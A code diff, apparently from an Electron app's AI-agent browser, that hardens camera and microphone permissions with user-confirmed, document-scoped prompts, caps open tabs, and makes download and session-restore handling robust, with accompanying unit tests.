setPlatform(realPlatform)
|
||||
vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('granted')
|
||||
vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(true)
|
||||
}
|
||||
})
|
||||
|
||||
it('fails a media prompt closed when the user does not answer it', async () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
win.isFocused = vi.fn(() => true)
|
||||
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
|
||||
const tab = session.ensureTab()
|
||||
const contents = (tab.view as unknown as MockView).webContents
|
||||
contents.isFocused.mockReturnValue(true)
|
||||
const gestureHandler = contents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'before-mouse-event'
|
||||
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
|
||||
gestureHandler?.({}, { type: 'mouseDown' })
|
||||
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
|
||||
wc: unknown,
|
||||
permission: string,
|
||||
callback: (granted: boolean) => void,
|
||||
details?: unknown
|
||||
) => void
|
||||
const callback = vi.fn()
|
||||
requestHandler(contents, 'media', callback, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
|
||||
await vi.advanceTimersByTimeAsync(30_000)
|
||||
|
||||
expect(callback).toHaveBeenCalledWith(false)
|
||||
expect(
|
||||
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
|
||||
).toBeUndefined()
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('leaves nothing of the signed-out user behind in the browser profile', async () => {
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const clearCache = vi.fn(async () => {})
|
||||
@@ -2235,6 +2599,41 @@ describe('browser-agent session', () => {
|
||||
state: 'completed',
|
||||
})
|
||||
})
|
||||
|
||||
it('does not recreate a disposed scope when a download finishes later', () => {
|
||||
const directory = mkdtempSync(join(tmpdir(), 'sim-browser-downloads-'))
|
||||
const { persistence, snapshots } = memoryBrowserPersistence()
|
||||
session = freshSession(win, {}, persistence, { getDirectory: () => directory })
|
||||
const contents = (session.ensureTab().view as unknown as MockView).webContents
|
||||
const webSession = contents.session as typeof contents.session & {
|
||||
on: ReturnType<typeof vi.fn>
|
||||
}
|
||||
const willDownload = webSession.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'will-download'
|
||||
)?.[1] as
|
||||
| ((event: unknown, item: Record<string, unknown>, contents: unknown) => void)
|
||||
| undefined
|
||||
const item = {
|
||||
getFilename: vi.fn(() => 'late.txt'),
|
||||
getMimeType: vi.fn(() => 'text/plain'),
|
||||
getReceivedBytes: vi.fn(() => 4),
|
||||
getTotalBytes: vi.fn(() => 4),
|
||||
setSavePath: vi.fn(),
|
||||
cancel: vi.fn(),
|
||||
on: vi.fn(),
|
||||
once: vi.fn(),
|
||||
}
|
||||
willDownload?.({}, item, contents)
|
||||
const done = item.once.mock.calls.find(([eventName]) => eventName === 'done')?.[1] as
|
||||
| ((event: unknown, state: 'completed') => void)
|
||||
| undefined
|
||||
|
||||
session.disposeBrowserScope('chat-test')
|
||||
done?.({}, 'completed')
|
||||
|
||||
expect(session.getBrowserDownloadsState('chat-test').downloads).toEqual([])
|
||||
expect(snapshots.has('chat-test')).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
/**
|
||||
|
||||
@@ -5,6 +5,8 @@ import type {
|
||||
BrowserDataKind,
|
||||
BrowserFindRequest,
|
||||
BrowserFindResult,
|
||||
BrowserMediaDevice,
|
||||
BrowserMediaPermissionRequest,
|
||||
BrowserOmniboxFocusMode,
|
||||
BrowserPageIssue,
|
||||
BrowserTabState,
|
||||
@@ -91,6 +93,21 @@ export interface AgentTab {
|
||||
syntheticForward?: { url: string; baseHistoryIndex: number }
|
||||
preserveSyntheticForwardOnNextNavigation?: boolean
|
||||
recoveringUnresponsive?: boolean
|
||||
pendingMediaPermission?: PendingMediaPermission
|
||||
mediaPermissionGrant?: MediaPermissionGrant
|
||||
lastRealUserGestureAt?: number
|
||||
}
|
||||
|
||||
interface PendingMediaPermission {
|
||||
request: BrowserMediaPermissionRequest
|
||||
documentUrl: string
|
||||
callback: (permissionGranted: boolean) => void
|
||||
timeout: ReturnType<typeof setTimeout>
|
||||
}
|
||||
|
||||
interface MediaPermissionGrant {
|
||||
origin: string
|
||||
devices: Set<BrowserMediaDevice>
|
||||
}
|
||||
|
||||
export interface BrowserSessionPersistence {
|
||||
@@ -139,6 +156,10 @@ export interface AgentSessionEvents {
|
||||
* must never outlive the reports.
|
||||
*/
|
||||
const MAX_RECENTLY_CLOSED_TABS = 10
|
||||
const MAX_LIVE_TABS_PER_SCOPE = 32
|
||||
const MAX_LIVE_TABS_GLOBAL = 96
|
||||
const MEDIA_PERMISSION_GESTURE_WINDOW_MS = 10_000
|
||||
const MEDIA_PERMISSION_PROMPT_TIMEOUT_MS = 30_000
|
||||
|
||||
export type BrowserShortcut = 'focus-omnibox' | 'new-tab' | 'close-tab' | 'find'
|
||||
|
||||
@@ -229,6 +250,23 @@ function createBrowserScopeState(): BrowserScopeState {
|
||||
}
|
||||
}
|
||||
|
||||
function liveBrowserTabCount(): number {
|
||||
let count = 0
|
||||
for (const state of browserScopeStates.values()) count += state.tabs.length
|
||||
return count
|
||||
}
|
||||
|
||||
function assertTabCapacity(): void {
|
||||
if (tabs.length >= MAX_LIVE_TABS_PER_SCOPE) {
|
||||
throw new SessionError(`A task browser can have at most ${MAX_LIVE_TABS_PER_SCOPE} open tabs.`)
|
||||
}
|
||||
if (liveBrowserTabCount() >= MAX_LIVE_TABS_GLOBAL) {
|
||||
throw new SessionError(
|
||||
`Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
const browserScopeStorage = new AsyncLocalStorage<string>()
|
||||
const browserScopeStates = new Map<string, BrowserScopeState>()
|
||||
const browserScopeAliases = new Map<string, string>()
|
||||
@@ -834,18 +872,9 @@ export async function importAgentCookies(
|
||||
*/
|
||||
const ALLOWED_SITE_PERMISSIONS = new Set(['clipboard-sanitized-write'])
|
||||
|
||||
/**
|
||||
* Grants a getUserMedia request only when macOS has actually authorized the
|
||||
* devices it names. Granting site permission without the OS grant makes the
|
||||
* page fail with a misleading NotReadableError instead of a permission prompt,
|
||||
* and macOS kills the process outright when the bundle lacks usage strings —
|
||||
* so the OS is asked FIRST, which surfaces the system prompt on first use.
|
||||
*/
|
||||
async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): Promise<boolean> {
|
||||
async function ensureOsMediaAccess(devices: readonly BrowserMediaDevice[]): Promise<boolean> {
|
||||
if (process.platform !== 'darwin') return true
|
||||
const wanted = mediaTypes && mediaTypes.length > 0 ? mediaTypes : ['audio', 'video']
|
||||
for (const type of wanted) {
|
||||
const device = type === 'video' ? 'camera' : 'microphone'
|
||||
for (const device of devices) {
|
||||
if (systemPreferences.getMediaAccessStatus(device) === 'granted') continue
|
||||
const granted = await systemPreferences.askForMediaAccess(device).catch(() => false)
|
||||
if (!granted) return false
|
||||
@@ -853,38 +882,220 @@ async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): P
|
||||
return true
|
||||
}
|
||||
|
||||
function mediaOrigin(candidate: unknown): string | null {
|
||||
if (typeof candidate !== 'string' || candidate.length > 8_192) return null
|
||||
try {
|
||||
const url = new URL(candidate)
|
||||
return url.protocol === 'https:' || url.protocol === 'http:' ? url.origin : null
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function requestedMediaDevices(candidate: unknown): BrowserMediaDevice[] | null {
|
||||
if (!Array.isArray(candidate) || candidate.length === 0) return null
|
||||
const devices = new Set<BrowserMediaDevice>()
|
||||
for (const type of candidate) {
|
||||
if (type === 'audio') devices.add('microphone')
|
||||
else if (type === 'video') devices.add('camera')
|
||||
else return null
|
||||
}
|
||||
return [...devices]
|
||||
}
|
||||
|
||||
function scopedTabForContents(contents: WebContents): { scopeId: string; tab: AgentTab } | null {
|
||||
const scopeId = browserScopeIdForContents(contents)
|
||||
if (!scopeId) return null
|
||||
const tab = browserScopeStates
|
||||
.get(scopeId)
|
||||
?.tabs.find((candidate) => candidate.view.webContents === contents)
|
||||
return tab ? { scopeId, tab } : null
|
||||
}
|
||||
|
||||
function mediaRequestIsUserInitiated(scopeId: string, tab: AgentTab): boolean {
|
||||
const win = panelWindow()
|
||||
return (
|
||||
resolveBrowserScopeId(scopeId) === getActiveBrowserScopeId() &&
|
||||
browserScopeStates.get(scopeId)?.activeTabId === tab.id &&
|
||||
isPanelVisible() &&
|
||||
Boolean(win && !win.isDestroyed() && win.isFocused()) &&
|
||||
tab.view.webContents.isFocused() &&
|
||||
typeof tab.lastRealUserGestureAt === 'number' &&
|
||||
Date.now() - tab.lastRealUserGestureAt <= MEDIA_PERMISSION_GESTURE_WINDOW_MS
|
||||
)
|
||||
}
|
||||
|
||||
function settleMediaPermission(tab: AgentTab, allowed: boolean): boolean {
|
||||
const pending = tab.pendingMediaPermission
|
||||
if (!pending) return false
|
||||
tab.pendingMediaPermission = undefined
|
||||
clearTimeout(pending.timeout)
|
||||
try {
|
||||
pending.callback(allowed)
|
||||
} catch (error) {
|
||||
logger.warn('Could not answer a browser media permission request', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
function revokeTabMediaPermissions(tab: AgentTab, publish = true): void {
|
||||
const hadPrompt = settleMediaPermission(tab, false)
|
||||
tab.mediaPermissionGrant = undefined
|
||||
tab.lastRealUserGestureAt = undefined
|
||||
if (hadPrompt && publish) publishPageIssue(tab)
|
||||
}
|
||||
|
||||
/** Pending prompt metadata for the renderer-owned permission bubble. */
|
||||
export function mediaPermissionRequestForContents(
|
||||
contents: WebContents
|
||||
): BrowserMediaPermissionRequest | undefined {
|
||||
return tabForContents(contents)?.pendingMediaPermission?.request
|
||||
}
|
||||
|
||||
/** Applies the user's response only to the exact live document that requested it. */
|
||||
export async function respondToMediaPermission(requestId: string, allowed: boolean): Promise<void> {
|
||||
const tab = activeTab()
|
||||
const pending = tab?.pendingMediaPermission
|
||||
if (!tab || !pending || pending.request.requestId !== requestId) return
|
||||
|
||||
if (!allowed) {
|
||||
settleMediaPermission(tab, false)
|
||||
publishPageIssue(tab)
|
||||
return
|
||||
}
|
||||
|
||||
const contents = tab.view.webContents
|
||||
const currentOrigin = mediaOrigin(contents.getURL())
|
||||
if (
|
||||
currentOrigin !== pending.request.origin ||
|
||||
contents.getURL() !== pending.documentUrl ||
|
||||
getBrowserScopeId() !== getActiveBrowserScopeId() ||
|
||||
!isPanelVisible()
|
||||
) {
|
||||
settleMediaPermission(tab, false)
|
||||
publishPageIssue(tab)
|
||||
return
|
||||
}
|
||||
|
||||
const osAllowed = await ensureOsMediaAccess(pending.request.devices)
|
||||
if (
|
||||
tab.pendingMediaPermission !== pending ||
|
||||
tab.view.webContents.isDestroyed() ||
|
||||
mediaOrigin(contents.getURL()) !== pending.request.origin ||
|
||||
contents.getURL() !== pending.documentUrl ||
|
||||
tab.id !== currentScope.activeTabId ||
|
||||
getBrowserScopeId() !== getActiveBrowserScopeId() ||
|
||||
!isPanelVisible()
|
||||
) {
|
||||
if (tab.pendingMediaPermission === pending) {
|
||||
settleMediaPermission(tab, false)
|
||||
publishPageIssue(tab)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if (osAllowed) {
|
||||
tab.mediaPermissionGrant = {
|
||||
origin: pending.request.origin,
|
||||
devices: new Set(pending.request.devices),
|
||||
}
|
||||
}
|
||||
settleMediaPermission(tab, osAllowed)
|
||||
publishPageIssue(tab)
|
||||
}
|
||||
|
||||
/**
|
||||
* Default-deny hardening for the agent partition. Site permissions remain
|
||||
* denied apart from ALLOWED_SITE_PERMISSIONS and camera/microphone — the agent
|
||||
* browser has to join a Google Meet or a Zoom web client like a real browser,
|
||||
* and those are dead without getUserMedia. The OS grant still gates every
|
||||
* media request, so the user's System Settings choice is the real authority.
|
||||
* denied apart from ALLOWED_SITE_PERMISSIONS. Media is granted only after a
|
||||
* renderer-owned, document-scoped prompt validates the requesting origin,
|
||||
* active visible tab, recent native user input, and operating-system grant.
|
||||
* Uploads use Chromium's native file chooser and downloads are saved into the
|
||||
* device-level browser download directory.
|
||||
*/
|
||||
function configureAgentPartition(ses: Session): void {
|
||||
if (configuredPartitions.has(ses)) return
|
||||
configuredPartitions.add(ses)
|
||||
ses.setPermissionRequestHandler((_wc, permission, callback, details) => {
|
||||
ses.setPermissionRequestHandler((contents, permission, callback, details) => {
|
||||
if (permission === 'media') {
|
||||
const mediaTypes = (details as { mediaTypes?: readonly string[] })?.mediaTypes
|
||||
void ensureOsMediaAccess(mediaTypes).then(callback)
|
||||
const scoped = scopedTabForContents(contents)
|
||||
const request = details as {
|
||||
isMainFrame?: boolean
|
||||
mediaTypes?: readonly string[]
|
||||
requestingUrl?: string
|
||||
securityOrigin?: string
|
||||
}
|
||||
const devices = requestedMediaDevices(request.mediaTypes)
|
||||
const requestingOrigin = mediaOrigin(request.requestingUrl)
|
||||
const securityOrigin = mediaOrigin(request.securityOrigin)
|
||||
const currentOrigin = mediaOrigin(contents.getURL())
|
||||
if (
|
||||
!scoped ||
|
||||
request.isMainFrame !== true ||
|
||||
!devices ||
|
||||
!requestingOrigin ||
|
||||
(securityOrigin !== null && securityOrigin !== requestingOrigin) ||
|
||||
currentOrigin !== requestingOrigin ||
|
||||
!mediaRequestIsUserInitiated(scoped.scopeId, scoped.tab)
|
||||
) {
|
||||
callback(false)
|
||||
return
|
||||
}
|
||||
|
||||
revokeTabMediaPermissions(scoped.tab, false)
|
||||
const prompt: BrowserMediaPermissionRequest = {
|
||||
requestId: generateId(),
|
||||
origin: requestingOrigin,
|
||||
devices,
|
||||
}
|
||||
scoped.tab.pendingMediaPermission = {
|
||||
request: prompt,
|
||||
documentUrl: contents.getURL(),
|
||||
callback,
|
||||
timeout: setTimeout(
|
||||
bindToBrowserScope(scoped.scopeId, () => {
|
||||
if (scoped.tab.pendingMediaPermission?.request.requestId !== prompt.requestId) return
|
||||
settleMediaPermission(scoped.tab, false)
|
||||
publishPageIssue(scoped.tab)
|
||||
}),
|
||||
MEDIA_PERMISSION_PROMPT_TIMEOUT_MS
|
||||
),
|
||||
}
|
||||
const win = panelWindow()
|
||||
if (win && !win.isDestroyed()) win.webContents.focus()
|
||||
withBrowserScope(scoped.scopeId, () => publishPageIssue(scoped.tab))
|
||||
return
|
||||
}
|
||||
callback(ALLOWED_SITE_PERMISSIONS.has(permission))
|
||||
})
|
||||
ses.setPermissionCheckHandler((_wc, permission, _origin, details) => {
|
||||
ses.setPermissionCheckHandler((contents, permission, requestingOrigin, details) => {
|
||||
if (permission === 'media') {
|
||||
if (process.platform !== 'darwin') return true
|
||||
const mediaType = (details as { mediaType?: string })?.mediaType
|
||||
if (mediaType === 'video')
|
||||
return systemPreferences.getMediaAccessStatus('camera') === 'granted'
|
||||
if (mediaType === 'audio') {
|
||||
return systemPreferences.getMediaAccessStatus('microphone') === 'granted'
|
||||
}
|
||||
return (
|
||||
systemPreferences.getMediaAccessStatus('microphone') === 'granted' ||
|
||||
systemPreferences.getMediaAccessStatus('camera') === 'granted'
|
||||
if (!contents || details.isMainFrame !== true) return false
|
||||
const scoped = scopedTabForContents(contents)
|
||||
const grant = scoped?.tab.mediaPermissionGrant
|
||||
const checkedOrigins = [
|
||||
mediaOrigin(details.securityOrigin),
|
||||
mediaOrigin(requestingOrigin),
|
||||
mediaOrigin(details.requestingUrl),
|
||||
].filter((origin): origin is string => origin !== null)
|
||||
const currentOrigin = mediaOrigin(contents.getURL())
|
||||
const device =
|
||||
details.mediaType === 'audio'
|
||||
? 'microphone'
|
||||
: details.mediaType === 'video'
|
||||
? 'camera'
|
||||
: null
|
||||
return Boolean(
|
||||
scoped &&
|
||||
grant &&
|
||||
device &&
|
||||
checkedOrigins.length > 0 &&
|
||||
checkedOrigins.every((origin) => origin === grant.origin) &&
|
||||
currentOrigin === grant.origin &&
|
||||
grant.devices.has(device) &&
|
||||
(process.platform !== 'darwin' ||
|
||||
systemPreferences.getMediaAccessStatus(device) === 'granted')
|
||||
)
|
||||
}
|
||||
return ALLOWED_SITE_PERMISSIONS.has(permission)
|
||||
@@ -983,17 +1194,33 @@ function configureAgentPartition(ses: Session): void {
|
||||
publishBrowserDownloads(scopeId)
|
||||
logger.info('Agent browser download started', { filename })
|
||||
item.on('updated', (_updatedEvent, state) => {
|
||||
const liveScopeId = resolveBrowserScopeId(scopeId)
|
||||
if (
|
||||
suspendedBrowserScopes.has(liveScopeId) ||
|
||||
!browserScopeStates.has(liveScopeId) ||
|
||||
!browserDownloadsByScope.get(liveScopeId)?.includes(download)
|
||||
) {
|
||||
return
|
||||
}
|
||||
updateDownloadProgress(download, item)
|
||||
download.state = state === 'interrupted' ? 'interrupted' : 'progressing'
|
||||
publishBrowserDownloads(scopeId)
|
||||
publishBrowserDownloads(liveScopeId)
|
||||
})
|
||||
item.once('done', (_doneEvent, state) => {
|
||||
activeDownloadPaths.delete(savePath)
|
||||
const liveScopeId = resolveBrowserScopeId(scopeId)
|
||||
if (
|
||||
suspendedBrowserScopes.has(liveScopeId) ||
|
||||
!browserScopeStates.has(liveScopeId) ||
|
||||
!browserDownloadsByScope.get(liveScopeId)?.includes(download)
|
||||
) {
|
||||
return
|
||||
}
|
||||
updateDownloadProgress(download, item)
|
||||
download.state = state
|
||||
trimBrowserDownloads(scopeId)
|
||||
publishBrowserDownloads(scopeId)
|
||||
withBrowserScope(scopeId, persistBrowserSession)
|
||||
trimBrowserDownloads(liveScopeId)
|
||||
publishBrowserDownloads(liveScopeId)
|
||||
withBrowserScope(liveScopeId, persistBrowserSession)
|
||||
if (state === 'completed') {
|
||||
logger.info('Agent browser download completed', { filename })
|
||||
if (process.platform === 'darwin') app.dock?.downloadFinished(savePath)
|
||||
@@ -1294,6 +1521,15 @@ function createTabView(): WebContentsView {
|
||||
zoomFactor: getBrowserDefaultZoomFactor(),
|
||||
},
|
||||
})
|
||||
try {
|
||||
return initializeTabView(view, scopeId)
|
||||
} catch (error) {
|
||||
if (!view.webContents.isDestroyed()) view.webContents.close()
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
function initializeTabView(view: WebContentsView, scopeId: string): WebContentsView {
|
||||
view.setBackgroundColor(browserBackgroundColor())
|
||||
const contents = view.webContents
|
||||
registerAgentWebContents(contents)
|
||||
@@ -1329,7 +1565,10 @@ function createTabView(): WebContentsView {
|
||||
return
|
||||
}
|
||||
const tab = tabs.find((entry) => entry.view.webContents === contents)
|
||||
if (tab?.id === currentScope.activeTabId) currentScope.visibleTabUserSelected = true
|
||||
if (tab?.id === currentScope.activeTabId) {
|
||||
currentScope.visibleTabUserSelected = true
|
||||
if (mouse.type === 'mouseDown') tab.lastRealUserGestureAt = Date.now()
|
||||
}
|
||||
})
|
||||
)
|
||||
contents.on(
|
||||
@@ -1385,6 +1624,7 @@ function createTabView(): WebContentsView {
|
||||
return
|
||||
}
|
||||
dismissFind(tab.id)
|
||||
revokeTabMediaPermissions(tab, false)
|
||||
tab.pageIssue = {
|
||||
kind: 'crashed',
|
||||
reason: details.reason,
|
||||
@@ -1401,6 +1641,7 @@ function createTabView(): WebContentsView {
|
||||
const tab = tabs.find((entry) => entry.view === view)
|
||||
if (!tab || tab.pageIssue?.kind === 'crashed') return
|
||||
dismissFind(tab.id)
|
||||
revokeTabMediaPermissions(tab, false)
|
||||
tab.pageIssue = {
|
||||
kind: 'unresponsive',
|
||||
url: tab.pendingRestoreUrl || contents.getURL(),
|
||||
@@ -1423,6 +1664,7 @@ function createTabView(): WebContentsView {
|
||||
const tab = tabs.find((entry) => entry.view === view)
|
||||
if (!isDispatchingAgentInput(contents) && tab?.id === currentScope.activeTabId) {
|
||||
currentScope.visibleTabUserSelected = true
|
||||
if (input.type === 'keyDown' && !input.isAutoRepeat) tab.lastRealUserGestureAt = Date.now()
|
||||
}
|
||||
const shortcut = browserShortcutForInput(input)
|
||||
if (!shortcut) return
|
||||
@@ -1503,6 +1745,8 @@ function createTabView(): WebContentsView {
|
||||
'did-start-navigation',
|
||||
bindToBrowserScope(scopeId, (details) => {
|
||||
if (!details.isMainFrame) return
|
||||
const tab = tabs.find((entry) => entry.view === view)
|
||||
if (tab) revokeTabMediaPermissions(tab)
|
||||
notePageNavigationStarted(contents)
|
||||
events?.onTabNavigated(contents, false)
|
||||
})
|
||||
@@ -1519,7 +1763,11 @@ function createTabView(): WebContentsView {
|
||||
)
|
||||
contents.on(
|
||||
'destroyed',
|
||||
bindToBrowserScope(scopeId, () => events?.onTabClosed(contents))
|
||||
bindToBrowserScope(scopeId, () => {
|
||||
const tab = tabs.find((entry) => entry.view === view)
|
||||
if (tab) revokeTabMediaPermissions(tab, false)
|
||||
events?.onTabClosed(contents)
|
||||
})
|
||||
)
|
||||
|
||||
events?.onTabCreated(contents)
|
||||
@@ -1704,6 +1952,8 @@ function addTabInternal({
|
||||
activate = true,
|
||||
notify = true,
|
||||
}: AddTabOptions = {}): AgentTab {
|
||||
assertTabCapacity()
|
||||
const previousActiveTab = activeTab()
|
||||
const transferBrowserFocus =
|
||||
activate &&
|
||||
(currentScope.focusedBrowserTabId !== null ||
|
||||
@@ -1717,6 +1967,9 @@ function addTabInternal({
|
||||
insertPinnedAware(tab)
|
||||
if (currentScope.automationTabId === null) currentScope.automationTabId = tab.id
|
||||
if (activate || currentScope.activeTabId === null) {
|
||||
if (previousActiveTab && previousActiveTab.id !== tab.id) {
|
||||
revokeTabMediaPermissions(previousActiveTab, false)
|
||||
}
|
||||
currentScope.activeTabId = tab.id
|
||||
applyActiveTabThrottling()
|
||||
if (!currentScope.restoring) layout()
|
||||
@@ -1730,6 +1983,30 @@ function addTabInternal({
|
||||
return tab
|
||||
}
|
||||
|
||||
function closeTabAfterFailedRestore(tab: AgentTab): void {
|
||||
try {
|
||||
revokeTabMediaPermissions(tab, false)
|
||||
} catch (error) {
|
||||
logger.warn('Could not revoke media permissions after browser restore failed', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
try {
|
||||
detachIfAttached(tab.view)
|
||||
} catch (error) {
|
||||
logger.warn('Could not detach browser tab after browser restore failed', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
try {
|
||||
if (!tab.view.webContents.isDestroyed()) tab.view.webContents.close()
|
||||
} catch (error) {
|
||||
logger.warn('Could not close browser tab after browser restore failed', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/** Marks the visible page as user-selected without blocking automation on it. */
|
||||
export function claimActiveTabForUser(): AgentTab | null {
|
||||
const tab = activeTab()
|
||||
@@ -1751,8 +2028,6 @@ export function restoreBrowserSession(): void {
|
||||
}
|
||||
if (currentScope.restored) return
|
||||
currentScope.activationOnly = false
|
||||
currentScope.restored = true
|
||||
currentScope.restoring = true
|
||||
|
||||
const scopeId = getBrowserScopeId()
|
||||
let snapshot: BrowserSessionSnapshot | null = null
|
||||
@@ -1766,28 +2041,91 @@ export function restoreBrowserSession(): void {
|
||||
}
|
||||
}
|
||||
|
||||
const restoredTabs: AgentTab[] = []
|
||||
const selectedIndexes = new Set<number>()
|
||||
if (snapshot) {
|
||||
browserDownloadsByScope.set(
|
||||
scopeId,
|
||||
snapshot.downloads.map((download) => ({ ...download }))
|
||||
)
|
||||
publishBrowserDownloads(scopeId)
|
||||
for (const entry of snapshot.tabs) {
|
||||
const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
|
||||
tab.pendingRestoreUrl = entry.url
|
||||
restoredTabs.push(tab)
|
||||
if (entry.url !== 'about:blank') {
|
||||
void tab.view.webContents.loadURL(entry.url).catch(() => {})
|
||||
}
|
||||
for (
|
||||
let index = 0;
|
||||
index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
|
||||
index++
|
||||
) {
|
||||
if (snapshot.tabs[index]?.pinned) selectedIndexes.add(index)
|
||||
}
|
||||
currentScope.activeTabId = restoredTabs[snapshot.activeIndex]?.id ?? restoredTabs[0]?.id ?? null
|
||||
currentScope.automationTabId = currentScope.activeTabId
|
||||
currentScope.lastPersistedSnapshot = JSON.stringify(snapshot)
|
||||
if (selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE && snapshot.tabs[snapshot.activeIndex]) {
|
||||
selectedIndexes.add(snapshot.activeIndex)
|
||||
}
|
||||
for (
|
||||
let index = 0;
|
||||
index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
|
||||
index++
|
||||
) {
|
||||
selectedIndexes.add(index)
|
||||
}
|
||||
}
|
||||
const selectedEntries = snapshot
|
||||
? [...selectedIndexes]
|
||||
.sort((left, right) => left - right)
|
||||
.map((index) => ({ entry: snapshot.tabs[index], sourceIndex: index }))
|
||||
: []
|
||||
const availableSlots = Math.max(0, MAX_LIVE_TABS_GLOBAL - liveBrowserTabCount())
|
||||
if (selectedEntries.length > availableSlots) {
|
||||
throw new SessionError(
|
||||
`Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
|
||||
)
|
||||
}
|
||||
|
||||
const state = browserScopeState(scopeId)
|
||||
const previousState = {
|
||||
tabs: [...state.tabs],
|
||||
activeTabId: state.activeTabId,
|
||||
automationTabId: state.automationTabId,
|
||||
nextTabId: state.nextTabId,
|
||||
restored: state.restored,
|
||||
lastPersistedSnapshot: state.lastPersistedSnapshot,
|
||||
}
|
||||
const previousDownloads = browserDownloadsByScope.get(scopeId)
|
||||
const restoredTabs: AgentTab[] = []
|
||||
state.restoring = true
|
||||
try {
|
||||
if (snapshot) {
|
||||
browserDownloadsByScope.set(
|
||||
scopeId,
|
||||
snapshot.downloads.map((download) => ({ ...download }))
|
||||
)
|
||||
for (const { entry } of selectedEntries) {
|
||||
const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
|
||||
tab.pendingRestoreUrl = entry.url
|
||||
restoredTabs.push(tab)
|
||||
if (entry.url !== 'about:blank') {
|
||||
void tab.view.webContents.loadURL(entry.url).catch(() => {})
|
||||
}
|
||||
}
|
||||
const restoredActiveIndex = selectedEntries.findIndex(
|
||||
({ sourceIndex }) => sourceIndex === snapshot.activeIndex
|
||||
)
|
||||
state.activeTabId = restoredTabs[restoredActiveIndex]?.id ?? restoredTabs[0]?.id ?? null
|
||||
state.automationTabId = state.activeTabId
|
||||
state.lastPersistedSnapshot = JSON.stringify(browserSessionSnapshot())
|
||||
}
|
||||
|
||||
state.restored = true
|
||||
} catch (error) {
|
||||
for (const tab of restoredTabs) closeTabAfterFailedRestore(tab)
|
||||
state.tabs = previousState.tabs
|
||||
state.activeTabId = previousState.activeTabId
|
||||
state.automationTabId = previousState.automationTabId
|
||||
state.nextTabId = previousState.nextTabId
|
||||
state.restored = previousState.restored
|
||||
state.lastPersistedSnapshot = previousState.lastPersistedSnapshot
|
||||
if (previousDownloads) browserDownloadsByScope.set(scopeId, previousDownloads)
|
||||
else browserDownloadsByScope.delete(scopeId)
|
||||
applyActiveTabThrottling()
|
||||
throw error
|
||||
} finally {
|
||||
state.restoring = false
|
||||
}
|
||||
|
||||
currentScope.restoring = false
|
||||
applyActiveTabThrottling()
|
||||
if (snapshot) publishBrowserDownloads(scopeId)
|
||||
const active = activeTab()
|
||||
if (active) {
|
||||
layout()
|
||||
@@ -1904,6 +2242,10 @@ export function switchTab(tabId: string): AgentTab {
|
||||
const transferBrowserFocus =
|
||||
currentScope.focusedBrowserTabId !== null ||
|
||||
tabs.some((entry) => entry.view.webContents.isFocused())
|
||||
const previousActiveTab = activeTab()
|
||||
if (previousActiveTab && previousActiveTab.id !== tab.id) {
|
||||
revokeTabMediaPermissions(previousActiveTab, false)
|
||||
}
|
||||
currentScope.activeTabId = tab.id
|
||||
currentScope.visibleTabUserSelected = true
|
||||
// Visible selection does not move the automation exemption; the user may
|
||||
@@ -1966,6 +2308,7 @@ export function closeTab(tabId: string): void {
|
||||
dismissFind(tabId)
|
||||
clearAutomationIndicatorsForTab(tabId)
|
||||
const [tab] = tabs.splice(index, 1)
|
||||
revokeTabMediaPermissions(tab, false)
|
||||
recentlyClosedTabUrls.unshift(sanitizeRestorableUrl(tabUrl(tab)) ?? 'about:blank')
|
||||
if (recentlyClosedTabUrls.length > MAX_RECENTLY_CLOSED_TABS) {
|
||||
recentlyClosedTabUrls.length = MAX_RECENTLY_CLOSED_TABS
|
||||
@@ -2197,6 +2540,7 @@ function closeTabFromUser(tabId: string): void {
|
||||
function closeLiveTabs(): void {
|
||||
dismissFind(currentScope.findingTabId)
|
||||
for (const tab of tabs.splice(0)) {
|
||||
revokeTabMediaPermissions(tab, false)
|
||||
detachIfAttached(tab.view)
|
||||
if (!tab.view.webContents.isDestroyed()) {
|
||||
tab.view.webContents.close()
|
||||
|
||||
@@ -217,6 +217,53 @@ describe('isBlockedSubresourceUrl', () => {
|
||||
expect(mockLookup).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('bounds DNS concurrency across distinct hostile hostnames', async () => {
|
||||
let active = 0
|
||||
let peak = 0
|
||||
const releases: Array<() => void> = []
|
||||
mockLookup.mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
active++
|
||||
peak = Math.max(peak, active)
|
||||
releases.push(() => {
|
||||
active--
|
||||
resolve([{ address: '93.184.216.34', family: 4 }])
|
||||
})
|
||||
})
|
||||
)
|
